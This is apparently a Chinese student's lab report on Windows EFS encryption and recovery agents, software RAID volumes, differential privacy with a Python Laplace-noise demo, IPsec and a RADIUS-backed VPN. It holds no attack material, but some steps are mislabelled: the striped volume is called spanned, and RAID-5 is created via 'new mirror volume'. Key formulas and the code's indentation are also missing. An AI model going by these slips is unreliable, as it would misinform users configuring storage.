可以看到文件夹下的所有文件都增加了锁标志

使用xuwp-No2登录Client-No1,访问文件夹”Client-No1-机密文件夹”,打开文件,提示”你没有权限打开该文件”。

故障恢复代理

在Server-No1上打开

服务器管理器-工具-注册表编辑器-(右击)CUMT-IS-编辑

计算机配置-策略-Windows设置-安全设置-公钥策略-(右击)加密文件系统-创建数据恢复代理程序

(右击)证书-所有任务-导出

是,导出私钥

设置密码

设置文件名

使用gpupdate /force下发组策略

新建文件”机密文件3”,可以发现存在我们刚定义的恢复证书。

使用Administrator\@xuwp05191643.com登录Client-No1,导入xuwp_efs_recover.pfx

选择”本地计算机”-下一步

输入密码-连续下一步

登录XUWP05191643\\Administrator即可访问。

模拟证书丢失时的恢复

可以看到这里有一个用于加密文件系统的证书,如果这个证书丢失,那么将无法证明文件由你加密,便不可访问。

我们先把它导出一下,导出的步骤同此前证书导出。

然后将其删除(模拟丢失的情况)

注销该用户后重新登录,发现再次无法访问。

重新导入pfx,这时即可打开文件。

多用户共享

(右击)”机密文件3”-属性-高级-详细信息-添加

在这里加入一个其他用户,我加入了计算机Client-No1中的Xuwanpeng,当然也可以加域XUWP05191643里的xuwp-No2(我这里没登录这个用户)。

登录用户Client-No1\\XuWanpeng(或XUWP05191643\\xuwp-No2),即可访问”机密文件3”。

软RAID

跨区卷

在VMware中为Client-No1插入两块新硬盘

(右击)此电脑-管理-磁盘管理-初始化磁盘

跨区卷的定义是将多个磁盘的未分配空间合并到一个逻辑卷,那么我们首先给每个硬盘分配一个简单卷

(右击)未分配区域-新建跨区卷-选中磁盘1和磁盘2-下一步

这里的两块空间大小可以不同。

点击”是”以将两块磁盘转换为动态磁盘

可以发现两块跨磁盘的空间属于同一个卷,即跨区卷。

为了使用这两块磁盘进行下一步实验,将这三个卷删除。

带区卷(RAID-0)

(右击)未分配区域-新建带区卷-选中磁盘1和磁盘2-下一步

此时可以发现这两个卷的大小必须相同,这也是带区卷的定义。

转换为动态磁盘

可以发现两块跨磁盘的空间属于同一个卷且大小相同,即跨区卷。

镜像卷(RAID-1)

(右击)未分配区域-新建镜像卷-选中磁盘1和磁盘2-下一步

这里的两块空间大小也必须相同。

转换为动态磁盘

可以发现两块跨磁盘的空间属于同一个卷且大小相同。

这时我们尝试向该卷写入一些文件,看看是否两块磁盘上都有同样大小的数据。

发现两块磁盘的大小相同,即数据内容相同,这便是镜像卷。

RAID-5卷(RAID-5)

磁盘结构

(右击)未分配区域-新建镜像卷-选中磁盘0、磁盘1和磁盘2-下一步

这些空间的大小也必须相同。

转换为动态磁盘

注意这里的卷空间不再是某一个磁盘的大小,而是两个磁盘的大小(即2*1008MB=1.96GB),剩下的一个磁盘用于奇偶校验,当某个磁盘损坏时,利用剩下两个磁盘的数据自动恢复数据,具有很强的抗干扰性,这便是RAID-5卷。

差分隐私

定义

差分隐私(differential privacy)是密码学中的一种手段,旨在提供一种当从统计数据库查询时,最大化数据查询的准确性,同时最大限度减少识别其记录的机会。

为了防止攻击者利用减法思维实施差分攻击获取到个人隐私,提出了差分隐私保护技术。

当对有限数据集$D$进行一组查询函数操作(如计数、求和、平均值、中位数或其他范围查询)所得到的查询结果$F(D)$,算法$M$对查询结果进行处理,使之满足隐私保护条件,此过程称为隐私保护机制。

隐私保护条件:数据集$D$中增加或减少一条记录形成的数据集记作$D’$。$D$和$D’$称为邻近数据集,对任意两个邻近数据集$D$和$D’$,其差分隐私处理后的输出结果几乎相同。

若$M$为差分隐私算法,设$V$为算法的输出结果,即$M(D) = V$,则$M$必须满足以下概率不等式:

当$\varepsilon$较小时,取$e^{\varepsilon}$泰勒级数的低次项,即$e^{\varepsilon} \approx 1 + \varepsilon$。

此时可得$\varepsilon$-差分隐私:

$\varepsilon$被称为隐私保护预算,用于控制隐私保护算法$M$在邻近数据集上获得相同输出的概率比值。$\varepsilon$越小,隐私泄露的风险越小,但引入的噪声越大,当$\varepsilon = 0$时,不可能泄露任何隐私,但也失去了研究价值。

对隐私保护预算$\mathbf{\varepsilon}$的测试

以如下代码为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import numpy as np


def get_noisy(GSf, epsilon):
beta = GSf / epsilon
u = np.random.random() - 0.5
noisy_digit = 0.0 - beta * np.sign(u) * np.log(1.0 - 2 * np.abs(u))
return np.rint(noisy_digit)


if __name__ == '__main__':
GSf = 50 # 假设公司最高和最矮的两个人的身高差为50CM
epsilon = 0.001
real_height = np.random.normal(170, 4, 100) # 随机生成100个符合正态分布的身高
pseudo_height = [] # 添加噪声后的身高
for i in range(100):
pseudo_height.append(real_height[i] + get_noisy(GSf, epsilon))
print("平均身高=", np.average(real_height))
print("添加噪声后的平均身高=", np.average(pseudo_height))
print("前三位的真实身高:", real_height[:3])
print("前三位干扰后的身高:", pseudo_height[:3])

当$\varepsilon = 1$时

image38

当$\varepsilon = 5$时

image39

当$\varepsilon = 10$时

image40

可见:

$\varepsilon$越大,引入的噪声越小,隐私泄露的风险越大。

$\varepsilon$越小,引入的噪声越大,隐私泄露的风险越小。

特别地,当$\varepsilon = 0$时(这里我令epsilon = 0.001)

image41

引入的噪声足够大,但平均身高和干扰后的身高都不合实际,失去了隐私保护的意义。

主机对主机的IPSEC

先设置Windows Server No1的IP安全规则

组策略管理编辑器-Windows设置-IP安全策略,在Active
Directory(XUWP05191643)-(右击)空白处-创建IP安全策略

添加新的IP安全规则

添加新的IP筛选器列表

源地址改为”我的IP地址”

目标地址改为”任何IP地址”

协议类型改为ICMP

选择我们刚刚添加的IP筛选器列表

添加新的筛选器操作

选择”协商安全”

选择”完整性和加密”

选择我们刚刚创建的筛选器操作

设置预共享密钥

分配IP安全规则

对Windows 10 Client-No1以相同步骤添加新的IP安全规则。

测试

注意:Client-No1需要移出域XUWP05191643,并使用Client-No1的本地账号登录。

当某端的IP安全规则未分配时,两侧均无法ping通。

当两侧的IP安全规则均分配时,可以互相ping通。

站点对站点的VPN

配置网卡

VMnet1:

SubNet:192.168.1.0/24

VMnet8:

SubNet:172.168.1.0/24

Gateway:172.168.1.2

配置服务器和客户机

内网服务器:

主机名:Windows Server No1

内网IP:192.168.1.100

VPN服务器:

主机名:Windows Server No2

内网IP:192.168.1.1

外网IP:172.168.1.100

客户机:

主机名:Windows Client No1

外网IP:172.168.1.101

配置VPN服务器

添加角色”网络策略和访问服务”和”远程访问”。

添加服务”DirectAccess”和”路由”

服务器管理器-工具-路由和远程访问

(右击)Server-No2-配置并启用路由和远程访问

选择”远程访问(拨号或VPN)”

选择”VPN”

选择外网网卡”Ethernet1”

因欲连接VPN的Client-No1是静态IP,所以选择”来自一个指定的地址范围”

配置整个后8位的地址

选择”是,设置此服务器与RADIUS服务器一起工作”

设置共享机密为:05191643

(右击)Server-No2-属性-安全

设置预共享密钥为:05191643

配置域控服务器

添加角色”网络策略和访问服务”

服务器管理器-工具-网络策略服务器-(右击)NPS(本地)-在Active
Diretory中注册服务器

(右击)RADIUS服务器-新建

为RADIUS设置友好名称和地址,输入此前设置的共享机密。

服务器管理器-工具-Active Directory用户和计算机-Client
User-(右击)XuWanpeng-No1-属性-拨入-允许访问

控制面板-网络和Internet-网络和共享中心-设置新的连接或网络-连接到工作区

使用我的Internet连接

输入VPN服务器的内网地址

(右击)VPN连接-属性

安全-按下图更改

高级设置-选择”使用预共享的密钥作身份验证”-输入预共享密钥

测试

(右击)VPN连接-连接/断开连接

输入允许访问的域用户的用户名、密码、域名(大概如下图)

当连接变为蓝色时即代表连接成功。